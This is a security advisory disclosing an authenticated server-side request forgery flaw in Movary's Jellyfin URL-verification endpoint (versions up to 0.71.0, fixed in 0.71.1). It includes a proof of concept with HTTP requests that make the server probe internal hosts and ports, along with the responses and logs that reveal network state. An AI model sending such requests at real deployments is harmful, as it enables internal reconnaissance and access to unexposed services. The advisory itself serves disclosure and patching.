Authenticated Server-Side Request Forgery (SSRF) via Jellyfin Server URL Verification Allows Internal Network Probing

High **leepeuker** published **GHSA-2m2v-v563-qqvj** last week

Package

No package listed

Affected versions

<= 0.71.0

Patched versions

>= 0.71.1

Description

Summary

An ordinary authenticated user can trigger server-side requests to arbitrary internal targets through `POST /settings/jellyfin/server-url-verify`.

The endpoint accepts a user-controlled URL, appends `/system/info/public`, and sends a server-side HTTP request with Guzzle. Because there is no restriction on internal hosts, loopback addresses, or private network ranges, this can be abused for SSRF and internal network probing.

Details

The affected route in `settings/routes.php` is:

```
$routes->add('POST', '/settings/jellyfin/server-url-verify', [Web\JellyfinControll
```

The endpoint is reachable by any authenticated user.

Inside `src/HttpController/Web/JellyfinController.php`, the application reads a user-controlled URL from the JSON body:

```
$jellyfinServerUrl = Url::createFromString(Json::decode($request->getBody())['jell e
```

If the user has no Jellyfin credentials configured, it calls:

```
$jellyfinServerInfo = $this->jellyfinApi->fetchJellyfinServerInfoPublic($jellyfinS U
```

That function eventually reaches `src/Api/Jellyfin/JellyfinClient.php`, which performs the actual server-side request:

```
$response = $this->httpClient->request('GET', (string)$jellyfinServerUrl, $options
```

The only validation applied by `src/ValueObject/Url.php` is:

```
if (filter_var($url, FILTER_VALIDATE_URL) === false) {
    throw InvalidUrl::create($this->url);
}
```

There is no protection against:

1. Loopback or localhost targets
2. Private RFC1918 addresses
3. Internal Docker/Kubernetes DNS names
4. Arbitrary ports
5. DNS rebinding scenarios

The endpoint also leaks target-state differences. Depending on the response, it may return:

```
return Response::createBadRequest('Connection test failed: Page not found');
return Response::createBadRequest('Connection test failed: Cannot connect to serve ');
return Response::createJson(Json::encode(['serverUrlVerified' => true, 'authenticationVe
```

During dynamic testing on a Dockerized instance, I verified three distinct behaviors with an ordinary non-admin user `bob`:

1. A reachable internal JSON probe returned `200` and `serverUrlVerified:true`
2. A reachable internal Nginx container returned `400` with `Page not found`
3. A closed internal port caused a server-side connection failure, recorded in the application logs for `http://movary-ssrf-json:9001/system/info/public`

PoC

To reproduce:

1. Start the application.
2. Create the initial administrator account.
3. Create a normal user, for example `bob@example.com / BobUser123!`.
4. Log in as `bob` and keep the authenticated cookie.
5. Make the following requests from the ordinary `bob` session.

The login response confirms that `bob` is not an administrator:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"authToken":"1a77f9773ed45884daf905988417a7bd","user":{"id":4,"name":"bob","isAdmin":fa
```

Use a reachable internal service that returns valid Jellyfin-like JSON:

```
POST /settings/jellyfin/server-url-verify HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={bob_cookie}; PHPSESSID={bob_session}
Content-Type: application/json

{"jellyfinServerUrl":"http://movary-ssrf-json:9000"}
```

Response:

```
HTTP/1.1 200 OK
Content-Type: application/json

{"serverUrlVerified":true,"authenticationVerified":false}
```

Use a reachable internal service that does not expose the expected resource:

```
POST /settings/jellyfin/server-url-verify HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={bob_cookie}; PHPSESSID={bob_session}
Content-Type: application/json

{"jellyfinServerUrl":"http://movary-ssrf-404"}
```

Response:

```
HTTP/1.1 400 Bad Request

Connection test failed: Page not found
```

The internal target logs confirm that the application made the request:

```
172.20.0.2 - - [09/Apr/2026:12:17:44 +0000] "GET /system/info/public HTTP/1.1" 404
153 "-" "GuzzleHttp/7" "-"
```

Use a closed internal port:

```
POST /settings/jellyfin/server-url-verify HTTP/1.1
Host: 127.0.0.1:18089
Cookie: id={bob_cookie}; PHPSESSID={bob_session}
Content-Type: application/json

{"jellyfinServerUrl":"http://movary-ssrf-json:9001"}
```

Response:

```
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html ...>
<h1 class="fw-normal" style="font-size: 8rem;">500</h1>
...
```

The application logs show the server-side connection attempt:

```
cURL error 7: Failed to connect to movary-ssrf-json port 9001 after 0 ms: Could no
connect to server for http://movary-ssrf-json:9001/system/info/public
```

Impact

Any ordinary authenticated user can use this endpoint to make the server connect to arbitrary internal targets and distinguish between different network states.

This enables SSRF-based internal reconnaissance, including host discovery, port-state probing, and service fingerprinting. In certain deployments, it may also be usable to reach internal administrative services or cloud metadata endpoints that are not directly accessible from the outside.

Severity

High 7.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-40348

Weaknesses

▶ CWE-918

Credits

kitu232 Reporter